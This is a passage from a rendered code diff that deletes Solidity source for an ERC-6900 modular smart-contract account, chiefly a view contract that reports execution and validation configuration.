if ($.initialized != type(uint8).max) {
|
|
63
|
-
$.initialized = type(uint8).max;
|
|
64
|
-
emit Initialized(type(uint8).max);
|
|
65
|
-
}
|
|
66
|
-
}
|
|
67
|
-
}
|
|
@@ -1,66 +0,0 @@
|
|
|
1
|
-
// SPDX-License-Identifier: MIT
|
|
2
|
-
pragma solidity ^0.8.20;
|
|
3
|
-
|
|
4
|
-
import {UUPSUpgradeable} from "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol";
|
|
5
|
-
import {EnumerableMap} from "@openzeppelin/contracts/utils/structs/EnumerableMap.sol";
|
|
6
|
-
import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
|
|
7
|
-
|
|
8
|
-
import {HookConfig, IERC6900Account, ModuleEntity} from "../interfaces/IERC6900Account.sol";
|
|
9
|
-
import {ExecutionDataView, IERC6900AccountView, ValidationDataView} from "../interfaces/IERC6900AccountView.sol";
|
|
10
|
-
import {HookConfigLib} from "../libraries/HookConfigLib.sol";
|
|
11
|
-
import {ExecutionStorage, ValidationStorage, getAccountStorage, toHookConfig} from "./AccountStorage.sol";
|
|
12
|
-
|
|
13
|
-
abstract contract ModularAccountView is IERC6900AccountView {
|
|
14
|
-
using EnumerableSet for EnumerableSet.Bytes32Set;
|
|
15
|
-
using EnumerableMap for EnumerableMap.AddressToUintMap;
|
|
16
|
-
using HookConfigLib for HookConfig;
|
|
17
|
-
|
|
18
|
-
/// @inheritdoc IERC6900AccountView
|
|
19
|
-
function getExecutionData(bytes4 selector) external view override returns (ExecutionDataView memory data) {
|
|
20
|
-
if (
|
|
21
|
-
selector == IERC6900Account.execute.selector || selector == IERC6900Account.executeBatch.selector
|
|
22
|
-
|| selector == UUPSUpgradeable.upgradeToAndCall.selector
|
|
23
|
-
|| selector == IERC6900Account.installExecution.selector
|
|
24
|
-
|| selector == IERC6900Account.uninstallExecution.selector
|
|
25
|
-
) {
|
|
26
|
-
data.module = address(this);
|
|
27
|
-
data.allowGlobalValidation = true;
|
|
28
|
-
} else {
|
|
29
|
-
ExecutionStorage storage executionStorage = getAccountStorage().executionStorage[selector];
|
|
30
|
-
data.module = executionStorage.module;
|
|
31
|
-
data.skipRuntimeValidation = executionStorage.skipRuntimeValidation;
|
|
32
|
-
data.allowGlobalValidation = executionStorage.allowGlobalValidation;
|
|
33
|
-
|
|
34
|
-
uint256 executionHooksLen = executionStorage.executionHooks.length();
|
|
35
|
-
data.executionHooks = new HookConfig[](executionHooksLen);
|
|
36
|
-
for (uint256 i = 0; i < executionHooksLen; ++i) {
|
|
37
|
-
data.executionHooks[i] = toHookConfig(executionStorage.executionHooks.at(i));
|
|
38
|
-
}
|
|
39
|
-
}
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
/// @inheritdoc IERC6900AccountView
|
|
43
|
-
function getValidationData(ModuleEntity validationFunction)
|
|
44
|
-
external
|
|
45
|
-
view
|
|
46
|
-
override
|
|
47
|
-
returns (ValidationDataView memory data)
|
|
48
|
-
{
|
|
49
|
-
ValidationStorage storage validationStorage = getAccountStorage().validationStorage[validationFunction];
|
|
50
|
-
data.validationFlags = validationStorage.validationFlags;
|
|
51
|
-
data.validationHooks = validationStorage.validationHooks;
|
|
52
|
-
|
|
53
|
-
uint256 execHooksLen = validationStorage.executionHooks.length();
|
|
54
|
-
data.executionHooks = new HookConfig[](execHooksLen);
|
|
55
|
-
for (uint256 i = 0; i < execHooksLen; ++i) {
|
|
56
|
-
data.executionHooks[i] = toHookConfig(validationStorage.executionHooks.at(i));
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
bytes32[] memory selectors = validationStorage.selectors.values();
|
|
60
|
-
uint256 selectorsLen = selectors.length;
|
|
61
|
-
data.selectors = new bytes4[](selectorsLen);
|
|
62
|
-
for (uint256 j = 0; j < selectorsLen; ++j) {
|
|
63
|
-
data.selectors[j] = bytes4(selectors[j]);
|
|
64
|
-
}
|
|
65
|
-
}
|
|
66
|
-
}
|